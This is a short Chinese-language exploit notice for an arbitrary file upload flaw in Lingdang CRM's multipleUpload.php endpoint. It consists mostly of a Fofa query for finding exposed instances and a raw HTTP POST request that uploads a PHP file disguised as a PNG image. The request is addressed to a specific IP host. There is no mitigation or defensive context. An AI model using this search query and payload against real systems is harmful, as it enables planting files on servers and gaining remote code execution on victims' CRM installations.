灵当CRM存在任意文件上传漏洞(RCE)

    灵当CRM致力于为企业提供客户管理数字化、销售管理自动化、服务管理智能化、项目管理一体化的个性化CRM行业解决方案,构建全生命周期的数字化管理体系,实现可持续的业绩增长。灵当CRM multipleUpload.php接口处存在文件上传漏洞.

Fofa:body="include/js/ldAjax.js"

Payload:

POST /crm/modules/Home/multipleUpload.php?myatt_id=1&myatt_moduel=1 
HTTP/1.1
Host:129.28.177.107
User-Agent:Mozilla/4.0(compatible; MSIE 8.0;Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept:*/*Connection: closeContent-Length: 171
Content-Type: multipart/form-data; boundary=56c3d565ed97bd2177f000e50a5b5029

--56c3d565ed97bd2177f000e50a5b5029
Content-Disposition: form-data; name="file"; filename="65.php"
Content-Type: image/png
test--56c3d565ed97bd2177f000e50a5b5029-